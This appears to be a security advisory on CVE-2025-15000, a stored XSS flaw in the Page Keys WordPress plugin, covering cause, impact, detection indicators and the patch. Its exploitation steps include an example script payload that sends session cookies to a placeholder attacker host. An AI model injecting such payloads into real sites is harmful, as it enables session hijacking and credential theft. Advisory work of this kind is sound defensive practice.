CVE-2025-15000: 
WordPress vulnerability analysis and mitigation

CVE-2025-15000 is a Stored Cross-Site Scripting (XSS) vulnerability in the Page Keys plugin for WordPress, affecting all versions up to and including 1.3.3. The flaw arises from insufficient input sanitization and output escaping of the page_key parameter, allowing authenticated attackers with administrator-level access to inject arbitrary web scripts. The vulnerability is limited to multi-site WordPress installations and single-site installations where unfiltered_html has been disabled. It was published on January 7, 2026, with a CVSS v3.1 base score of 4.4 (Medium), assigned by Wordfence (Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerable code is located in inc/ListTable.php at line 260 of the plugin, where the page_key parameter is accepted without adequate sanitization before being rendered in the page output (Wordfence, Plugin Source). An attacker must be authenticated with administrator-level privileges and the target environment must be either a WordPress multisite network or a site with unfiltered_html capability disabled — conditions that normally restrict HTML input for administrators. Once injected, the malicious script is stored persistently and executes in the browser of any user who visits the affected page.

Successful exploitation allows a malicious administrator to persistently inject JavaScript into WordPress pages, which executes in the context of any visiting user's browser. This can lead to session hijacking, credential theft, defacement, or redirection of users to malicious sites. The scope is marked as "Changed" in the CVSS vector, indicating the impact extends beyond the attacker's own session to affect other users. Availability is not directly impacted, but confidentiality and integrity are both rated as low-impact per the CVSS assessment (Wordfence).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-15000. The EPSS score is approximately 0.027%, indicating a very low probability of exploitation in the near term. The vulnerability requires high privileges (administrator access) and specific environmental conditions (multisite or unfiltered_html disabled), significantly limiting the attack surface. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Identify target: Confirm the target WordPress site is running the Page Keys plugin version 1.3.3 or earlier, and that it is either a multisite installation or has unfiltered_html disabled for administrators.
2. Authenticate: Log in to the WordPress admin panel with administrator-level credentials.
3. Navigate to plugin settings: Access the Page Keys plugin management interface where page keys can be created or edited.
4. Inject malicious payload: In the page_key parameter field, submit a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a similar script designed to exfiltrate session cookies or perform other malicious actions.
5. Trigger execution: The injected script is stored in the database and executes automatically in the browser of any user (including other administrators or site visitors) who accesses the page containing the injected key (Wordfence, Plugin Source).

• Logs: WordPress admin audit logs showing unexpected creation or modification of page keys by administrator accounts, particularly with unusual characters or script tags in the page_key field.
• Database: Entries in the WordPress database (e.g., wp_options or plugin-specific tables) containing <script> tags or encoded JavaScript within page key values.
• Network: Outbound requests from user browsers to unknown external domains shortly after visiting pages managed by the Page Keys plugin, potentially indicating cookie or credential exfiltration.
• Browser/Client: Users reporting unexpected redirects, pop-ups, or anomalous behavior when visiting specific WordPress pages that use the Page Keys plugin.

Users should update the Page Keys plugin to version 1.3.4 or later, which addresses the insufficient sanitization of the page_key parameter (Wordfence). As a temporary workaround, site administrators can restrict access to the Page Keys plugin settings to only fully trusted administrators, or temporarily disable the plugin until patching is feasible. WordPress multisite network administrators should audit existing page key entries for suspicious content.